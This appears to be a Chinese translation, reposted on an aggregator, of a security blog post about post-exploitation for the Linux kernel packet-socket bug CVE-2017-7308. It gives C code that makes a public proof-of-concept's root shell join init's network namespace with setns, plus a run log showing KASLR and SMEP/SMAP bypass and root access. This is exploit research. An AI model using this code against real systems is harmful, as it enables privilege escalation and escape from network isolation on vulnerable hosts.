Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】针对数据包套接字攻击Linux内核的漏洞利用

$
0
0
【技术分享】针对数据包套接字攻击linux内核的漏洞利用

2017-07-26 10:04:05

阅读:389次
点赞(0)
收藏
来源: coresecurity.com





【技术分享】针对数据包套接字攻击Linux内核的漏洞利用

作者:eridanus96





【技术分享】针对数据包套接字攻击Linux内核的漏洞利用

译者:eridanus96

预估稿费:130RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】如何通过数据包套接字攻击Linux内核


简介

CVE-2017-7308是一个与数据包套接字相关的Linux内核漏洞。关于该漏洞的利用已经在Andrey Konovalov的文章中进行了详细地说明,在此就不赘述。我们此次关注的重点放在获取shell之后进行的一些操作和利用。

该漏洞本身(CVE-2017-7308)是一个符号类型漏洞,会导致堆越界写入问题。在启用TPACKET_V3版本的环形缓冲区条件下,我们可以通过为AF_PACKET套接字的PACKET_RX_RING选项提供特定的参数来触发这个漏洞。漏洞触发成功后,在“net/packet/af_packet.c”源码中,“packet_set_ring()”函数中的完整性检查过程就会被绕过,最终导致越界访问。

该漏洞影响所有启用AF_PACKET套接字(CONFIG_PACKET = y)的内核。但具体的实现则需要CAP_NEW_RAW这一功能,从而创建出AF_PACKET套接字。通常来说,只有特权用户才具有上述权限。但是,如果启用了用户命名空间(User namespace, CONFIG_USER_NS = y),并且未授权用户拥有可访问权限,那么同样可以利用该漏洞。

Andrey提供了一个PoC以证明这一漏洞,运行后将得到下面的shell:


【技术分享】针对数据包套接字攻击Linux内核的漏洞利用

到现在,我们已经成功得到了shell。但我们发现,目前仍然与真正的网络相隔开,因此我们想尝试进行一些网络相关的突破。


突破网络

从生成的shell中,我们首先列出网络接口:


【技术分享】针对数据包套接字攻击Linux内核的漏洞利用

如图所示,我们目前只有环回接口(Loopback interface)可用,无法ping通Google。那么,为什么会发生这种情况,又如何解决呢?还是要从Andrey的代码和Linux数据包套接字的官方文档中寻找答案。

在他的代码中,他通过调用带有CLONE_NEWUSER标志的unshare函数来创建一个新的用户命名空间。这样,调用的进程就会被移动到一个新的用户命名空间中,而这个名称不与任何已经存在的进程共享。如前所述,这是漏洞利用的必要条件。只有特权用户才拥有CAP_NET_RAW功能的权限,但新用户命名空间中的未授权用户可以创建数据包套接字, 这也正是他使用unshare函数(CLONE_NEWUSER)的原因。

随后,会再一次调用unshare函数,但此时是调用带有CLONE_NEWNET标志的unshare函数。根据文档,这一标志的含义是:将调用进程移动到一个新的网络命名空间中,且该名称不与任何已经存在的进程共享。

现在状况开始明朗了。然而,尽管我们清楚了CLONE_NEWUSER的用途,但为什么要将网络隔离呢?原因在于,我们为了保证全部覆盖,通过环回接口发送的任意数据包都不能被干扰,所以才需要一个独立的网络环境。

但如果在一个有大量接口和大量数据包的环境中,这样做无疑会降低漏洞的利用程度。


后开发利用

意识到真正的问题所在,我们就必须找到一种方法来克服这种状况,一个较好的解决方案是setns。setns是命名空间API中的一个重要函数,setns系统调用允许调用进程加入已有的命名空间,具体的命名空间通过引用/proc/[pid]/ns files中的文件描述符来制定。但是,仅有有限的几个命名空间可以让我们加入。/proc/[pid]/ns/net文件是进程网络命名空间的句柄,我们需要对这一文件进行分析,从而知道哪一个网络命名空间是我们可以加入的。

我们决定尝试从PID 1加入网络命名空间,这是Linux中init进程的PID,也是内核启动的第一个进程,因此它拥有最大的特权,我们猜测这一进程可以访问系统中的任何网络接口。但是,我们必须先拥有一些权限后才能加入这个网络命名空间,这对我们来说并不是个大问题,因为我们已经利用漏洞可以轻松获取到root权限,之后再执行这一项操作。

首先,我们需要获得一个文件描述符,以加入PID 1的网络命名空间:

intfd; fd=open("/proc/1/ns/net",O_RDONLY)

一旦我们有了一个文件描述符,便可以在调用setns函数时使用, 而第二个参数是我们要加入的命名空间:

setns(fd,CLONE_NEWNET);

为测试是否有效,我们对PoC中的exec_shell进行了修改,修改后的exec_shell将用于在提权后被触发:

voidexec_shell(){ char*shell="/bin/bash"; char*args[]={shell,"-i",NULL}; intfd; fd=open("/proc/1/ns/net",O_RDONLY); if(fd==-1) { perror("erroropening/proc/1/ns/net"); exit(EXIT_FAILURE); } if(setns(fd,CLONE_NEWNET)==-1) { perror("errorcallingsetns"); exit(EXIT_FAILURE); } execve(shell,args,NULL); }

下面是执行后的结果:

fastix@fastix-virtual-machine:~$gcccve-2017-7308.c-oexploit fastix@fastix-virtual-machine:~$./exploit [.]starting [.]namespacesandboxsetup [.]KASLRbypassenabled,gettingkerneladdr [.]done,kerneltext:ffffffffb5800000 [.]commit_creds:ffffffffb58a5cf0 [.]prepare_kernel_cred:ffffffffb58a60e0 [.]native_write_cr4:ffffffffb5864210 [.]paddingheap [.]done,heapispadded [.]SMEP&SMAPbypassenabled,turningthemoff [.]done,SMEP&SMAPshouldbeoffnow [.]executinggetrootpayload0x55fa39fa7612 [.]done,shouldberootnow [.]checkingifwegotroot [+]gotr00t^_^ root@fastix-virtual-machine:/home/fastix#id uid=0(root)gid=0(root)groups=0(root) root@fastix-virtual-machine:/home/fastix#iplinklist 1:lo:mtu65536qdiscnoqueuestateUNKNOWNmodeDEFAULTgroupdefaultqlen1 link/loopback00:00:00:00:00:00brd00:00:00:00:00:00 2:ens33:mtu1500qdiscpfifo_faststateUPmodeDEFAULTgroupdefaultqlen1000 link/ether00:0c:29:98:3b:85brdff:ff:ff:ff:ff:ff,multicast,up,lower_up> root@fastix-virtual-machine:/home/fastix#ifconfig ens33:flags=4163mtu1500 inet192.168.1.112netmask255.255.255.0broadcast192.168.1.255 inet6fe80::5cd:ee6f:92b:ccc6prefixlen64scopeid0x20 ether00:0c:29:98:3b:85txqueuelen1000(Ethernet) RXpackets69bytes9044(9.0KB) RXerrors0dropped0overruns0frame0 TXpackets85bytes9782(9.7KB) TXerrors0dropped0overruns0carrier0collisions0,broadcast,running,multicast> lo:flags=73mtu65536 inet127.0.0.1netmask255.0.0.0 inet6::1prefixlen128scopeid0x10 looptxqueuelen1(LocalLoopback) RXpackets3329bytes206245(206.2KB) RXerrors0dropped0overruns0frame0 TXpackets3329bytes206245(206.2KB) TXerrors0dropped0overruns0carrier0collisions0 root@fastix-virtual-machine:/home/fastix#pingwww.google.com PINGwww.google.com(216.58.202.132)56(84)bytesofdata. 64bytesfromgru06s29-in-f4.1e100.net(216.58.202.132):icmp_seq=1ttl=50time=52.7ms 64bytesfromgru06s29-in-f4.1e100.net(216.58.202.132):icmp_seq=2ttl=50time=54.6ms 64bytesfromgru06s29-in-f4.1e100.net(216.58.202.132):icmp_seq=3ttl=50time=51.9ms 64bytesfromgru06s29-in-f4.1e100.net(216.58.202.132):icmp_seq=4ttl=50time=53.7ms ^C ---www.google.compingstatistics--- 5packetstransmitted,4received,20%packetloss,time4008ms rttmin/avg/max/mdev=51.987/53.268/54.686/1.045ms ,loopback,running>,up,lower_up> 如上所示,现在除了环回接口之外,我们还有了ens33接口,并成功地连接到外网。



【技术分享】针对数据包套接字攻击Linux内核的漏洞利用
【技术分享】针对数据包套接字攻击Linux内核的漏洞利用
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.coresecurity.com/blog/solving-post-exploitation-issue-cve-2017-7308

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images